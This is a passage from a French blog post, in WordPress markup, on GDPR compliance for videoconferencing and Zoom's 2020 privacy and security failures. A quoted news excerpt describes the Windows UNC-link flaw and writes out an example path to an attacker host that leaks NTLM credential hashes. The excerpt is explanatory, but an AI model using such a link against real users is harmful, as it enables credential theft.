regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. <strong>Le responsable du traitement est responsable du respect du paragraphe 1 et est en mesure de démontrer que celui-ci est respecté (responsabilité).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local 